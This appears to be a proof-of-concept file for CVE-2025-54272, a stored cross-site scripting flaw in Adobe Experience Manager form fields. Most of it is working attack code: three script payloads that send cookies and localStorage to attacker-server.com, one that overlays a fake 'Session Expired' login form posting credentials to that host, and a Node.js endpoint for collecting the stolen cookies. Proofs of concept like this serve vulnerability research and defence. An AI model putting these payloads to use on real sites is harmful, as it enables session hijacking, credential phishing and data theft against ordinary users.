CVE-2025-54272

<!-- CVE-2025-54272 PoC - Stored XSS in Adobe Experience Manager --> <!-- This PoC demonstrates the stored XSS vulnerability in AEM form fields --> <!-- Step 1: Attacker submits malicious payload via vulnerable form field --> <!-- The payload is stored in the server-side database --> <!-- Malicious payloads that can be injected into vulnerable form fields: --> <!-- Payload 1: Cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Payload 2: Session hijacking via fetch --> <script> fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, localStorage: JSON.stringify(localStorage) }), headers: {'Content-Type': 'application/json'} }); </script> <!-- Payload 3: DOM manipulation for phishing --> <script> document.body.innerHTML = '<form action="https://attacker-server.com/phish" method="POST"><h3>Session Expired</h3><input name="username" placeholder="Username"><input name="password" type="password" placeholder="Password"><button>Login</button></form>'; </script> <!-- Step 2: Victim visits the page containing the stored malicious content --> <!-- The browser executes the injected script automatically --> <!-- Step 3: Attacker receives stolen data on their server --> <!-- Example attacker-side collection endpoint (Node.js): --> /* const express = require('express'); const app = express(); app.get('/steal', (req, res) => { console.log('Stolen cookie:', req.query.cookie); // Store or exfiltrate the stolen session data res.status(200).end(); }); app.listen(8080); */ <!-- Note: Exploitation requires the attacker to have low-privilege access --> <!-- and the victim to visit the page containing the injected content -->

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